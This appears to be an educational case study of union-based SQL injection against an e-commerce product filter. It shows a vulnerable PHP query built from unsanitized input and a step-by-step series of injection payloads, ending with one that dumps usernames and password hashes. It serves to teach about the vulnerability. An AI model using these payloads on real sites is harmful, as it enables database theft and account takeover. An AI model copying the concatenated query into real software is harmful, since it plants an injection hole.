Skip to content

Case Study: SQLi in a Product Filtering Mechanism

This case study illustrates a common real-world scenario where a SQL injection vulnerability in a seemingly innocuous feature leads to a full database compromise.

Scenario

An e-commerce website allows users to filter products by category. The URL for a category looks like this: https://e-shop.com/products?category=Gifts

The backend SQL query is likely constructed as follows: 

$category = $_GET['category'];
$query = "SELECT name, price FROM products WHERE category = '$category' AND released = 1";

The Attack

  1. Discovery: The attacker tests for SQLi by appending a single quote to the parameter value. https://e-shop.com/products?category=Gifts' The application returns a generic "500 Internal Server Error," indicating that the unclosed quote broke the SQL query.

  2. Confirming Control: The attacker uses a comment to fix the query, which now returns the page correctly. This confirms the vulnerability. https://e-shop.com/products?category=Gifts'--

  3. Enumeration (Union-Based): The attacker decides to use a UNION-based attack to extract data.

    • Find Number of Columns: They use ORDER BY to determine the number of columns in the original SELECT statement. ' ORDER BY 2-- (Works) ' ORDER BY 3-- (Fails) This means there are 2 columns.

    • Find String-Compatible Columns: They find which columns can hold string data. ' UNION SELECT 'a', 'b'-- The application now displays "a" and "b" on the page, confirming both columns can be used.

  4. Data Exfiltration:

    • List Tables: The attacker queries information_schema.tables to find interesting tables. ' UNION SELECT table_name, table_schema FROM information_schema.tables-- The output reveals a table named users in the database eshop_db.

    • List Columns: They query information_schema.columns for the users table. ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users'-- This reveals columns named username and password_hash.

  5. Critical Impact:

    • Dump Credentials: The attacker dumps the contents of the users table. ' UNION SELECT username, password_hash FROM users--
    • The response contains usernames and their corresponding password hashes. The attacker can now take these hashes offline to crack them, leading to account takeovers.